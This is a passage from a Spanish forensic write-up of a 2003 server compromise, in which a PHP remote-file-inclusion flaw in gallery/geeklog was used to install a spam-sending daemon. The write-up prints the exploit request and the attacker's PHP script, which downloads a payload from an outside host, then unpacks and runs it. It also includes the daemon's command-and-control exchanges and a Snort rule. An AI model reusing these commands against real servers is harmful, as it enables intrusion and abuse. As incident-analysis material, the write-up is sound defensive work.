

La Rebelión de los spammers

David Barroso Berrueta

September, 26th 2003

1. La rebelión de los spammers

La gente que envía spam cada día es más inteligente, y a la vez difícil de detectar, que en mi opinión, es algo extraño, puesto que una persona inteligente es suficientemente lista para no molestar a millones de personas. Entonces, ¿por qué estas personas continúan ayudando a compañías y personas poco éticas que envían estos correos no solicitados? La razón debería ser simple y muy común estos días: dinero.

Pero no voy a hablar sobre los motivos de la comunidad spam para mandar millones de correos sin sentido contando como conseguir una buena hipoteca, incrementar la longitud de mi cuerpo o cómo hacer negocios con un príncipe de África. Esta es la historia de cómo uno de los servidores que tengo en mi casa fue comprometido y usado para envíos masivos de spam en un entorno que nunca he visto (pero era probable que sucediera).

1.1. La intrusión

Un día me dí cuenta que uno de mis servidores remoto estaba enviando 24 horas al día una continua corriente de 11Kbytes, usando el 100% del ancho de banda de subida (128Kbits). Este servidor tiene ejecutándose al servidor Apache y también actúa como servidor de correo, pero no existe ninguna otra aplicación que pudiera mandar tanto tráfico durante un día entero. Así que, inmediatamente entré en la máquina remota para saber qué estaba pasando, pensando que mi máquina estaba participando en algún ataque DDoS, pero estaba equivocado. Un simple listado de procesos (**ps -ef**) me abriría los ojos:

```
www-data 29990      1  0 Aug21 ?           00:00:04 /tmp/abchy6/httpd
-c /tmp/abchy6/httpd.conf
```

Había exactamente 106 procesos como el de arriba corriendo en mi máquina. Simplemente al mirar al directorio del proceso todas mis alarmas saltaron. Más aún cuando descubrí que el directorio '/tmp/abchy6' no existía en la máquina. El usuario dueño del proceso sería la clave para conocer el origen del proceso, porque sólo el servidor Apache se ejecuta como este usuario. El log de acceso del servidor Apache confirmó que esta fue la puerta de entrada del atacante:

```
www.mysite.com-access.log.1:216.93.171.130 - - [21/Aug/2003:18:45:02 +0200]
"GET http://www.mysite.com/gallery/classes/geeklog/User.php?GEEKLOG_DIR=
http://www.4goofs.com/sftb/ HTTP/1.0" 200 764 "-" "-"
www.mysite.com-access.log.1:216.93.171.130 - - [21/Aug/2003:18:50:13 +0200]
"GET http://www.mysite.com/gallery/classes/geeklog/User.php?GEEKLOG_DIR=
http://www.4goofs.com/sftb/ HTTP/1.0" 200 764 "-" "-"
```

Esta dirección ip pertenece a ServePath, de San Francisco, USA. La información en ARIN es la siguiente:

OrgName: ServePath, LLC
OrgID: SERVEP
Address: 650 Townsend Street
Address: Suite 252
City: San Francisco
StateProv: CA
PostalCode: 94103
Country: US

NetRange: 216.93.160.0 - 216.93.191.255
CIDR: 216.93.160.0/19
NetName: SERVEPATH
NetHandle: NET-216-93-160-0-1
Parent: NET-216-0-0-0-0
NetType: Direct Allocation
NameServer: NS.SERVEPATH.COM
NameServer: NS1.SERVEPATH.COM
Comment:
RegDate: 2002-11-15
Updated: 2003-04-10

NOCHandle: SN458-ARIN
NOCName: NOC, ServePath, ServePath
NOCPhone: +1-415-252-3600
NOCEmail: noc@servepath.com

OrgTechHandle: SN458-ARIN
OrgTechName: NOC, ServePath, ServePath
OrgTechPhone: +1-415-252-3600
OrgTechEmail: noc@servepath.com

ARIN WHOIS database, last updated 2003-09-05 19:15
Enter ? for additional hints on searching ARIN's WHOIS database.

Comprobemos con la última versión de p0f (<http://lcamtuf.coredump.cx/p0f/>) qué Sistema Operativo es esa dirección ip. p0f es una herramienta para reconocimiento pasivo de SO, que intenta adivinar un Sistema Operativo dependiendo de sus características, como puede ser su TTL, tamaño de ventana TCP, ...

```
p0f - passive os fingerprinting utility, version 2.0-beta
(C) M. Zalewski <lcamtuf@coredump.cx>, W. Stearns <wstearns@pobox.com>
p0f: listening on '/home/tomac/ih/snap216.93.171.30.pcap', 110 fingerprints, rule: 'any'.
216.93.171.130:1358 - FreeBSD 4.6-4.8 (up: 908 hrs)
  -> x.x.x.x:80 (distance 22, link: ethernet/modem)
216.93.171.130:1549 - FreeBSD 4.6-4.8 (up: 908 hrs)
  -> x.x.x.x:80 (distance 22, link: ethernet/modem)
216.93.171.130:2227 - FreeBSD 4.6-4.8 (up: 909 hrs)
  -> x.x.x.x:80 (distance 22, link: ethernet/modem)
```

Así que la máquina originante del ataque parece que tiene FreeBSD 4.6-4.8, y lleva encendida unas 909 horas.

Hmm.. gallery (<http://gallery.menalto.com>) es una serie de scripts de php para poder tener múltiples álbumes de fotos con muchas características interesantes, y geeklog (<http://www.geeklog.net>) es otra serie de scripts php para mantener un weblog público para una comunidad. Yo tenía instalados y configurados los dos, y había integrado gallery en geeklog siguiendo un procedimiento descrito en otra página de geeklog, así que no era una instalación por defecto. Era hora de comprobar la variable sospechosa 'GEEKLOG_DIR' en el archivo `User.php`:

```
require_once($GEEKLOG_DIR . '/lib-common.php');
```

Así que eso es. El script php no inicializa debidamente la variable y así puede ser modificada en el HTTP GET. Además, la sentencia 'require_once' incluye y evalúa el archivo especificado durante la ejecución del script. Siendo lo curioso que soy, intenté descargar el fichero '<http://www.4goofs.com/sftb/lib-common.php>', pero el fichero no existía en el servidor, puesto que recibí un '301 Moved Permanently' y luego un '302 Found', pero era el fichero `not_found.html`, la página de error por defecto, lo cuál me pareció un poco raro.

Pero todavía no sabía nada sobre la misteriosa corriente de bytes que salía de mi máquina. Al ejecutar `tcpdump` en la máquina remota, me dí cuenta que estaba mandado varios cientos de correos por minuto. Y todos ellos eran spam. Tenía cientos de diferentes conexiones TCP a un montón de servidores de correo diferentes (puerto TCP 25), enviando correos con `<offers@bestespecials.biz>` como el remitente real, y `<offers@kellysoffers.com>` como el remitente ficticio. Inmediatamente comprobé el log de mi servidor de correo, buscando alguna pista, e incluso comprobé que mi servidor de correo no era un 'open relay', solamente para estar seguro. Pero no encontré nada, los logs eran normales; así que, esos extraños procesos podrían estar relacionados con el envío masivo de spam.

¿Qué estaban haciendo exactamente estos procesos? Se podía encontrar una respuesta en el directorio `/proc`. Hay una entrada en este directorio para cada proceso que se ejecuta, describiendo detalles interesantes sobre los procesos, como que descriptores de fichero tienen abiertos, las variables de entorno, el directorio desde el cual se ejecutaron, cómo se ejecutaron, un enlace simbólico a la imagen del proceso corriendo en memoria, etc. Y esto fue lo que encontré:

```
cwd -> /var/www/geeklog/public_html/gallery/classes/geeklog
exe -> /tmp/upxCEIBRRYA2VC (deleted)
cmdline: /tmp/abchy6/httpd -c /tmp/abchy6/httpd.conf
```

La razón para el nombre extraño `upxCEIBRRYA2VC` es porque el binario ha sido comprimido usando UPX (<http://upx.sourceforge.net>), que es una herramienta excelente para comprimir binarios ejecutables. Al ejecutarse, automáticamente se descomprime en un fichero temporal para poder ejecutarse normalmente. Incluso comprobé con otra herramienta excelente, `lsOf` cada dispositivo, descriptor de fichero o socket abierto por el proceso:

COMMAND	PID	USER	FD	TYPE	DEVICE	SIZE	NODE	NAME
	4	5304	www-data	cwd	DIR	3,1	4096	223753 /var/www/geeklog/public_html/gallery/classes/geeklog
	4	5304	www-data	rtd	DIR	3,1	4096	2 /
	4	5304	www-data	txt	REG	3,1	1846603	128114 /tmp/upxCEIBRRYA2VC (deleted)
	4	5304	www-data	mem	REG	3,1	90210	191311 /lib/ld-2.2.5.so
	4	5304	www-data	mem	REG	3,1	102172	193769 /lib/libpthread-0.9.so
	4	5304	www-data	mem	REG	3,1	1153784	193753 /lib/libc-2.2.5.so
	4	5304	www-data	0w	CHR	1,3		191284 /dev/null
	4	5304	www-data	1w	CHR	1,3		191284 /dev/null
	4	5304	www-data	2w	CHR	1,3		191284 /dev/null
	4	5304	www-data	3u	sock	0,0		8394579 can't identify protocol
	4	5304	www-data	4r	FIFO	0,5		8394882 pipe
	4	5304	www-data	5u	REG	3,1	0	127548 /tmp/session_mm_apache0.sem (deleted)

```

4          5304 www-data    6u   REG      3,1      0    128220 /tmp/session_mm_apache0.sem
(deleted)
4          5304 www-data    7w   CHR      1,3      191284 /dev/null
4          5304 www-data    8w   FIFO     0,5      8394882 pipe
4          5304 www-data    9w   CHR      1,3      191284 /dev/null
4          5304 www-data   10r   FIFO     0,5      8394883 pipe
4          5304 www-data   11w   FIFO     0,5      8394883 pipe
4          5304 www-data   12u   IPv4    13016572      TCP    mysite.com:52153
->mx2.bm.vip.sc5.yahoo.com:smtp (ESTABLISHED)
4          5304 www-data   13u   IPv4    13016573      TCP    mysite.com:55530
->mail.mysam.it:smtp (ESTABLISHED)
4          5304 www-data   14u   IPv4    13016574      TCP    mysite.com:51286
->wf4.dnsvr.com:smtp (ESTABLISHED)
4          5304 www-data   15w   REG      3,1      6948    256374 /var/log/apache/
error.log.1
4          5304 www-data   20u   IPv4      1008      TCP    *:www (LISTEN)

(...) (otras 96 conexiones smtp)

```

Vaya, no solo manda mucho spam, sino que incluso se integra de algún modo en el demonio Apache, y utiliza hilos para mandar correo en paralelo. Entonces intenté agregar otra herramienta llamada `ptrace` al proceso, que me permitiría conocer algo más sobre el proceso (llamadas al sistema, descriptores de fichero, ...) en tiempo real, pero el proceso murió cuando intenté agregar la herramienta.

Bueno, todavía tenía un montón de detalles que investigar. Intenté recuperar el fichero borrado `/tmp/abchy6/httpd.conf`, buscando más detalles sobre el proceso, pero no pudo ser recuperado usando `TASK` (<http://www.sleuthkit.org>), que es una herramienta para análisis forense. Buscando con `TASK` en el disco duro algunas cadenas de texto específicas, encontré un bloque no asignado con el siguiente contenido:

```

cat: /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e: No such file or directory
kill: usage: kill [-s sigspec | -n signum | -sigspec] [pid | job]... or kill -l [sigspec]
sh: fetch: command not found
--18:45:58-- http://4goofs.com/ad13/archive.tgz
=> `/tmp/abchy6/archive.tgz'
Resolving 4goofs.com... done.
Connecting to 4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.4goofs.com/ad13/archive.tgz [following]
--18:45:58-- http://www.4goofs.com/ad13/archive.tgz
=> `/tmp/abchy6/archive.tgz'
Resolving www.4goofs.com... done.
Connecting to www.4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.4goofs.com/error_docs/not_found.html [following]
--18:45:59-- http://www.4goofs.com/error_docs/not_found.html
=> `/tmp/abchy6/not_found.html'
Connecting to www.4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 199 [text/html]

0K                                                                 100% 194.34 KB/s

18:45:59 (194.34 KB/s) - `/tmp/abchy6/not_found.html' saved [199/199]

tar (child): /tmp/abchy6/archive.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now

```

```
tar: Child returned status 2
tar: Error exit delayed from previous errors

gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Error exit delayed from previous errors

gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error exit delayed from previous errors
chmod: getting attributes of `/tmp/abchy6/httpd': No such file or directory
ldd: /tmp/abchy6/httpd: No such file or directory
sh: /tmp/abchy6/httpd: No such file or directory
cat: /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e: No such file or directory
kill: usage: kill [-s sigspec | -n signum | -sigspec] [pid | job]... or kill -l [sigspec]
sh: fetch: command not found
--18:50:31-- http://4goofs.com/ad13/archive.tgz
      => `/tmp/abchy6/archive.tgz'
Resolving 4goofs.com... done.
Connecting to 4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.4goofs.com/ad13/archive.tgz [following]
--18:50:32-- http://www.4goofs.com/ad13/archive.tgz
      => `/tmp/abchy6/archive.tgz'
Resolving www.4goofs.com... done.
Connecting to www.4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 62,958 [application/x-tar]

      OK ..... 81% 26.61 KB/s
      50K ..... 100% 27.27 KB/s

18:50:35 (26.73 KB/s) - `/tmp/abchy6/archive.tgz' saved [62958/62958]
```

```
gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Error exit delayed from previous errors
```

El atacante parece que ejecuta dos veces el mismo script (supuestamente incluido en el fichero `lib-common.php`). El script intenta leer un fichero, matar algunos procesos, descargar algunas herramientas, descomprimirlas, comprobar que pueden ser ejecutadas, y ejecutarlas. La primera vez que el atacante ejecuta el script, parece que las herramientas no están disponibles en el servidor; cinco minutos después, lo intenta de nuevo, y entonces ahora sí que puede descargarlas y ejecutar el script con éxito (esta es la razón de tener dos accesos en el log del Apache). Es muy probable que el atacante sólo activa la descarga (usando la redirección 301) cuando lo necesita, impidiendo que otras personas (como yo) las descarguen. Esta podría ser la explicación por la que no pude descargar el fichero `lib-common.php`.

La dirección ip donde se encuentra el fichero `lib-common.php` es 216.93.174.4, que pertenece a la misma compañía que antes, llamada ServePath en San Francisco. La información en ARIN es la misma, porque ambas direcciones ip se encuentran en el mismo rango perteneciente a la compañía: 216.93.160.0 - 216.93.191.255. Estoy empezando a creer que esta compañía tiene algo que ver con todo esto.

Como todavía tenía mucha curiosidad sobre qué contiene el fichero `lib-common.php`, no arreglé el fallo de `gallery` y ejecuté varios `tcpdump` para guardar todas las conexiones del atacante, esperando a que regresara. Como también estaba ejecutando Snort en la misma máquina, añadí una nueva firma para que me avisara cuándo el atacante intentara aprovecharse de la vulnerabilidad:

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"GEEKLOG_DIR set attempt"; flow:to_server,established;
uricontent:"GEEKLOG_DIR"; classtype:misc-attack; sid:1000020;)
```

Esta alerta de Snort busca la cadena `'GEEKLOG_DIR'` en una conexión TCP establecida desde cualquier origen, hacia el puerto HTTP (80/tcp) de cualquiera de mis servidores. El siguiente paso era ser avisado automáticamente cuando la alerta fuera activada. Normalmente recibo un correo diario con las alertas de Snort usando `snort-stat`, pero en este caso, necesitaba saber inmediatamente cuándo la alerta se activaba. Para este propósito, instalé `swatch`, que me permite monitorizar el fichero de alertas de Snort, y ejecutar un comando cuando se encuentra una cierta expresión en el fichero (ej: `GEEKLOG_DIR set attempt`). Configuré `swatch` para que me mandara un correo.

La espera no fue muy larga. Al día siguiente, recibí un correo de mi máquina remota, diciendo que la alerta se había activado. Al comprobar el fichero `tcpdump` que había estado guardando todo, pude ver al fin que contenía el extraño fichero `lib-common.php`:

```
GET /sftb//lib-common.php HTTP/1.0
Host: www.4goofs.com
User-Agent: PHP/4.1.2

HTTP/1.0 200 OK
Date: Fri, 22 Aug 2003 05:58:57 GMT
Server: Apache/1.3.27 (Unix) mod_jk/1.2.3-dev FrontPage/5.0.2.2623
PHP/4.3.1 mod_perl/1.2.7 mod_ssl/2.8.14 OpenSSL/0.9.7a
X-Powered-By: PHP/4.3.1
Content-Type: text/html
Age: 0

<?echo "<pre>";

echo $HTTP_HOST.$REQUEST_URI;

passthru("kill -9 `cat /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e`");
passthru("rm -rf /tmp/abchy6");
passthru("mkdir /tmp/abchy6");
passthru("fetch -o- http://4goofs.com/ad13/archive.tgz > /tmp/abchy6/archive1.tgz");
passthru("lynx -dump -source http://4goofs.com/ad13/archive.tgz > /tmp/abchy6/archive2.tgz");
passthru("wget http://4goofs.com/ad13/archive.tgz -P /tmp/abchy6");
passthru("ls -la /tmp/abchy6");
passthru("tar -zxvf /tmp/abchy6/archive.tgz -C /tmp/abchy6");
passthru("tar -zxvf /tmp/abchy6/archive1.tgz -C /tmp/abchy6");
passthru("tar -zxvf /tmp/abchy6/archive2.tgz -C /tmp/abchy6");
passthru("rm -rf /tmp/abchy6/archive*");
passthru("chmod 700 /tmp/abchy6/httpd");
passthru("uname -a");
passthru("ldd /tmp/abchy6/httpd");
passthru("/tmp/abchy6/httpd -c /tmp/abchy6/httpd.conf");

passthru("rm -rf /tmp/abchy6");
passthru("rm -rf /tmp/af56j");
?>
```

Así que, el script simplemente se mata a sí mismo si ya se está ejecutando (guarda su PID en el fichero `/tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e`, como se verá más tarde), e intenta descargar con tres herramientas diferentes el fichero `archive.tgz`, las descomprime, determina de qué librerías dinámicas dependen, y entonces ejecuta el fichero extraído, borrando el directorio y de esta forma, todas sus trazas. No tengo ni idea de por qué borra también el directorio `/tmp/af56j`, quizás es algo que queda de una versión antigua del script.

Usando `ethereal` (<http://www.ethereal.com>) para seguir la corriente TCP y conseguir el fichero `archive.tgz`, me doy cuenta que sólo contiene dos archivos, el servidor y su fichero de configuración:

```
tomac@prodigy:~/ih/tmp$ tar tvzf archive.tgz
-rw-r--r-- root/wheel      211  2003-07-31 14:54:27 httpd.conf
-rwxr-xr-x sftb/sftb      64289 2003-07-31 10:33:25 httpd
```

Uno de los dueños del ficheros es `sftb`, que es lo mismo que el directorio donde está el fichero `lib-common.php`. Así que puede ser el nombre del usuario que realiza el ataque (quizás sus iniciales), y para ser que la herramienta es relativamente nueva (31/07/2003). A continuación está el fichero de configuración `httpd.conf`:

```
logfile          /dev/null
loglevel         wedm
speedlog         /dev/null
halfdaemon
destroy
mask
sendmail
host             195.27.223.45
port             25
number           100
htimeout         15
pidlog           /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e
out              /dev/null
```

La explicación es la siguiente: toda la información de log la mandará a `/dev/null`, el binario se borrará cuando se ejecute (`destroy`), enmascarará su nombre (`mask`), mandará mail (`sendmail`), generará 100 hilos (`number`), el tiempo de espera para conectarse a los servidores de correo será 15 (`htimeout`), el PID del proceso se guardará en `/tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e`, y se conectará a la máquina 195.27.223.45 puerto 25, aunque aún no estoy seguro del objetivo de esta máquina.

Note: La razón para que no enmascarara su nombre es debido a que en mi máquina estaba usando las extensiones `grsec` (<http://grsec.linux-kernel.at/>), que impiden a este proceso cambiar su `/proc/pid/cmdline`. En otro caso, al ejecutar un `ps`, se mostrarían un montón de falsos procesos `httpd`, intentando ser demonios de Apache normales. Me dí cuenta de este hecho al analizar el binario.

Esta dirección ip pertenece a una compañía llamada Media Arts, en Alemania. ¿Qué tienen estas dos compañías en común? La primera en los Estados Unidos, y la segunda en Alemania. Parece ser que el atacante posee varias máquinas. A continuación está la información de RIPE sobre esta dirección IP:

```
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripenncc/pub-services/db/copyright.html

inetnum:          195.27.223.0 - 195.27.223.255
```

```
netname:      CW-DE-MEDIAARTS-NET
descr:       Media Arts
descr:       Im Weilerlen 14
descr:       74321 Beitingheim-Bissingen
country:     DE
admin-c:     AE317-RIPE
tech-c:     AE317-RIPE
status:     ASSIGNED PA
mnt-by:     CW-EUROPE-GSOC
changed:    grit@ecrc.de 20000920
changed:    smorhoff@ecrc.de 20020402
source:     RIPE

route:       195.27.0.0/16
descr:     DE-ECRC-195-27-0-0
origin:    AS1273
mnt-by:    CW-EUROPE-GSOC
changed:   wbe@ecrc.de 19990415
changed:   sticht@ecrc.de 19991205
changed:   theimes@de.cw.net 20010803
source:    RIPE

person:     Achim Enz
address:    Im Weilerlen 14
address:    D-74321 Bietigheim-Bissingen
address:    Germany
phone:     +49 7142 989090
fax-no:    +49 7142 52723
e-mail:    A_Enz@media-arts-online.de
nic-hdl:   AE317-RIPE
remarks:   administrator contact
mnt-by:    BO-DOMREG
changed:   kschnier@bonline.net 19971001
source:    RIPE
```

1.2. Análisis interno

Este demonio parece que se conecta a una máquina específica (en este caso 195.27.223.45) para establecer una conexión especial; otro fichero `tcpdump` me permitiría saber que estaba pasando con esta extraña máquina:

```
220 localhost ESMTTP
lasterror server::connect: Connection to HOST 217.29.90.249:25 OK
iam daemon[1061628935]
250 Hello
body
ID: 1
Received: from sprint.ausics.net (sprint.ausics.net [203.220.55.147])
  by localhost (8.11.9/8.11.9) with ESMTTP id _ID_
  for <_TO_>; _DATE_
Message-ID: <_ID2_@salesjet.biz>
From: "Marc Bishop" <offer23@salesjet.biz>
To: _TO_
```

Subject: Animate your logo with Flash
Date: _DATE_

Hello,

Do you like your business' logo? Then have you ever thought of animating it for your web site, li

You don't have a logo yet? Not a problem! We have selected some of the most professional design s

We look forward to hearing from you soon.
Best wishes!
Marc Bishop

<http://www.salesjet.biz/?rdr=4011>

This message is delivered by salesjet.biz
To remove your address from further mailings go to
http://www.salesjet.biz/out.php?email=_TO_

250 Body OK
maillist

*20622715 sales@patadamsco.com 64.202.166.11 64.202.166.12
*20623068 sales@patagonianfjords.com 216.136.130.235
*20623780 sales@pataphysique.com 80.67.173.4 62.80.122.198
*20623170 sales@patagonias.com 66.216.92.14
*20622958 sales@patagoniaflowers.com 209.92.33.155
*20623277 sales@patagonline.com 66.33.213.133 66.33.213.200
*20622986 sales@patagoniaholidays.com 206.244.69.3 206.244.69.195
*20623258 sales@patagoniadventure.com 64.202.166.11 64.202.166.12
*20622919 sales@patagoniaeasy.com 64.225.154.175
*20622954 sales@patagoniaflyfishing.com 208.186.137.130
*20622888 sales@patagoniacatalog.com 209.126.198.20
*20622910 sales@patagoniadesign.com 65.194.194.207
*20622922 sales@patagoniaexquisiteces.com 209.67.50.203
*20623477 sales@patanadek.com 202.59.252.106
*20623212 sales@patagoniatrips.com 64.225.154.175
*20622932 sales@patagoniaexpeditions.com 66.40.227.228
*20622840 sales@patagoniaaventura.com 200.61.185.197
*20623191 sales@patagoniatechnology.com 64.83.108.222
*20622944 sales@patagoniafilms.com 206.245.164.55
*20622949 sales@patagoniafantasy.com 207.150.192.13
*20622971 sales@patagoniagolf.com 200.80.42.110
*20622994 sales@patagoniainteractiva.com 69.0.236.74
*20622975 sales@patagoniagifts.com 66.113.136.243
*20622828 sales@patagonia-tourism.com 64.85.73.31
*20622921 sales@patagoniaextra.com 209.67.50.203
*20622911 sales@patagoniadeloslagos.com 209.67.50.203
*20623304 sales@pataid.com 4.23.76.76

(...) (5630 more similar lines)

250 Emails OK

quit

221 OK, Goodbye

Cuando vi esto, me quedé de piedra. Esa máquina está corriendo un servidor de correo modificado que también acepta otros comandos 'nuevos' relacionados con el spam. El cliente primero se identifica (iam daemon[1061621865]), donde el número puede ser la identificación de mi máquina. A primera vista, pensé que era mi dirección ip como un número entero, pero se convierte en 63.71.16.105, y esa no es mi dirección ip, así que pudiera ser un número de identificación. Debido a que tenía varias sesiones guardadas en el fichero tcpdump, pude comprobar que el número representa el número de segundos desde 00:00:00 1970 01 01 UTC, que es como Linux representa la fecha. El servidor busca nuevas direcciones de correo cada 140 segundos, tal como se puede ver en la siguiente salida de ngrep (ngrep es similar a grep, pero busca expresiones en la red o en ficheros pcap, en vez de ficheros de texto):

```
#####
T 2003/08/22 20:22:34.832048 x.x.x.x:58250 -> 217.29.90.249:25 [AP]
  asterror server::connect: Connection to HOST 217.29.90.249:25 OK ..iam daem
  on[1061576554]..
#####
T 2003/08/22 20:24:54.292121 x.x.x.x:45883 -> 217.29.90.249:25 [AP]
  asterror server::connect: Connection to HOST 217.29.90.249:25 OK ..iam daem
  on[1061576693]..
#####
T 2003/08/22 20:27:14.380807 x.x.x.x:60875 -> 217.29.90.249:25 [AP]
  asterror server::connect: Connection to HOST 217.29.90.249:25 OK ..iam daem
  on[1061576833]..
#####
T 2003/08/22 20:29:24.350974 x.x.x.x:56217 -> 217.29.90.249:25 [AP]
  asterror server::connect: Connection to HOST 217.29.90.249:25 OK ..iam daem
  on[1061576963]..
#####exit
```

A continuación con el comando *body*, el cliente consigue el ID del mensaje, las cabeceras, y el cuerpo del mensaje. Es importante notar que en las cabeceras hay algunas variables, representadas por *_cadena_*, que se rellenarán al mandar el spam. Son las siguientes: ID, ID2 (el ID del mensaje), TO (destino) y DATE (fecha). Entonces, con el comando *maillist*, el cliente recibe montones (esta vez 5457) de direcciones de correo (que serán la variable *_TO_*), ordenadas alfabéticamente, e identificadas con un número, y los servidores MX para esas direcciones de correo. Hay que tener en cuenta que la dirección ip del servidor maestro que ejecuta el servidor de correo modificado es otra dirección ip a la especificada en el fichero de configuración. La resolución inversa de esta dirección ip es, sorprendentemente, fw.sftb.net. Otra vez la cadena sftb... interesante. Comprobemos la información sobre esta dirección ip en RIPE:

```
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripenc/pdb-services/db/copyright.html

inetnum:      217.29.90.192 - 217.29.90.255
netname:      citynet-complex-pro
descr:        Complex-Pro is a computer trading.
descr:        Tomsk, West Siberia, Russia
country:      RU
admin-c:      AP1623-RIPE
admin-c:      DAF-RIPE
tech-c:       AP1623-RIPE
tech-c:       DAF-RIPE
```

```
status:      ASSIGNED PA
notify:      radio@cp.ru
mnt-by:      STACKLTD-MNT
changed:     noc@tomsk.net 20030701
source:      RIPE

route:       217.29.80.0/20
descr:      RU-STACKLTD-20030519
origin:      AS29047
mnt-by:      STACKLTD-MNT
changed:     noc@tomsk.net 20030528
source:      RIPE

person:      Alexey Pecheritsyn
address:     Siberian Physical Technical Institute
address:     Novosobornaya. 1, 634050
address:     Tomsk, Russia
phone:       +7 3822 533034
fax-no:      +7 3822 533034
nic-hdl:     AP1623-RIPE
e-mail:      pecher@spti.tsu.ru
changed:     pecher@spti.tsu.ru 20020527
source:      RIPE

person:      Denis A. Fedorov
address:     Gagarina str., 56, Room 901
address:     Tomsk, Russia 634050
phone:       +7 3822 528260
fax-no:      +7 3822 528260
e-mail:      daf@cp.ru
e-mail:      dubanoze@ms.tusur.ru
nic-hdl:     DAF-RIPE
changed:     daf@cp.ru 20030127
source:      RIPE
```

Vaya, ahora estamos en Rusia, en el Instituto Físico-Técnico Siberiano. Este incidente es cada vez más complejo; pero hay algo más; resolviendo *gw.sftb.net*, la ip a la que resuelve es 81.1.233.1, que es bastante extraño, ya que generalmente la resolución inversa de una dirección ip resuelve al nombre de dominio que a su vez, la resolución directa resuelve a la misma dirección ip. A continuación está la información de ARIN sobre esta nueva dirección IP:

```
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripenncc/pub-services/db/copyright.html

inetnum:     81.1.232.0 - 81.1.233.255
netname:     ComplexPro
descr:       Complex-Pro is a computer trading.
descr:       Gagarina, 56, 634050
descr:       Tomsk, Russia
country:     RU
admin-c:     AP1623-RIPE
admin-c:     DAF-RIPE
tech-c:      AP1623-RIPE
```

```
tech-c:      DAF-RIPE
status:     assigned PA
notify:     daf@cp.ru
notify:     radio@cp.ru
mnt-by:     ZSTTK-MNT
changed:    ip-dbm@ripn.net 20030411
source:     RIPE

route:      81.1.192.0/18
descr:     RU-ZSTTK-20020228
origin:    AS21127
mnt-by:    ZSTTK-MNT
changed:    k.zharkov@zsttk.ru 20020228
source:    RIPE

person:     Alexey Pecheritsyn
address:    Siberian Physical Technical Institute
address:    Novosobornaya. 1, 634050
address:    Tomsk, Russia
phone:     +7 3822 533034
fax-no:    +7 3822 533034
nic-hdl:   AP1623-RIPE
e-mail:    pecher@spti.tsu.ru
changed:   pecher@spti.tsu.ru 20020527
source:    RIPE

person:     Denis A. Fedorov
address:    Gagarina str., 56, Room 901
           Tomsk, Russia 634050
phone:     +7 3822 528260
fax-no:    +7 3822 528260
e-mail:    daf@cp.ru
e-mail:    dubanoze@ms.tusur.ru
nic-hdl:   DAF-RIPE
changed:   daf@cp.ru 20030127
source:    RIPE
```

Por ahora, tenemos tres compañías diferentes en tres países diferentes: USA, Alemania y Rusia. Y de alguna manera, sftb está fuertemente relacionado con la última, ya que hay registros DNS que resuelven a las direcciones ip de Siberia, así que quizás el atacante es de Rusia y ha comprometido algunos servidores de San Francisco y Alemania para establecer su 'entorno de trabajo'. Pero mirando más detalles, me doy cuenta que no es tan sencillo. Comprobemos la información de 'whois' para el nombre de dominio 'sftb.net':

```
Registrant:
  SFTB Technologies
  Rua do Norte, 82
  Lissabon, na P1200
  PT
  351 21 883716
```

Domain Name: SFTB.NET

```
Administrative Contact:
  da Costa, Bruna noc@sftb.net
  Rua do Norte, 82
```

Lissabon, na P1200
PT
351 21 883716

Technical Contact:
da Costa, Bruna noc@sftb.net
Rua do Norte, 82
Lissabon, na P1200
PT
351 21 883716

Record last updated 03-06-2003 04:39:32 AM
Record expires on 02-06-2004
Record created on 02-06-2003

Domain servers in listed order:
NS1.SFTB.NET 216.67.235.137
NS2.SFTB.NET 69.22.169.69

El nombre de dominio pertenece a una empresa portuguesa, llamada SFTB Technologies, en Lisboa. Buscando en Google a esta compañía, no encuentro ningún resultado. Es muy extraño que una compañía relacionada con la tecnología no aparezca en Google. Puede que sea una empresa fantasma para esconder sus objetivos de mandar spam, aunque sólo es una hipótesis.

Sigamos analizando la comunicación con el servidor maestro, porque el demonio tiene otra bonita característica: manda informes al servidor maestro.

```
220 localhost ESMTTP
lasterror server::connect: Connection to HOST 217.29.90.249:25 OK
iam daemon[1061629845]
250 Hello
report
354 Give me your report
25707340 2 1
25707219 11 1
25707123 6 1
25707320 2 1
25707264 0 1
25707268 0 1
25707296 11 1
25707314 8 1
25707167 0 1
25706341 0 1
25706229 9 1
25707213 10 1
25707201 6 1
25707069 6 1
25707295 11 1
25707231 0 1
(..) (983 líneas similares)
.
250 Report OK
quit
```

221 OK, Goodbye

Después de la identificación, el cliente manda el comando *report*, y envía una lista de exactamente 1000 objetos, cada objeto compuesto por el número de identificación del correo (visto arriba), y dos otros argumentos; el primero es un código de error y determina si el correo ha sido enviado (por ejemplo, 6 significa que se ha superado el tiempo de conexión a la máquina, 11 que el correo ha sido enviado, 9 que se ha superado el tiempo de espera de lectura del socket, ...) y el otro argumento todavía no lo he identificado, pero podría ser una forma de saber si la dirección de correo ha sido tratado. Parece ser que es un informe para saber cuáles de las direcciones de correo son válidas. Para estar seguro, ejecuté el demonio con su fichero de configuración un poco cambiado, cambiando `/dev/null` por ficheros reales para poder ver los logs. Tal como vimos en el fichero de configuración, existen tres logs diferentes: `logfile`, `speedlog` y `out`. El último (`out`) está siempre vacío, pero los otros dos contienen cosas interesantes; a continuación está el fichero 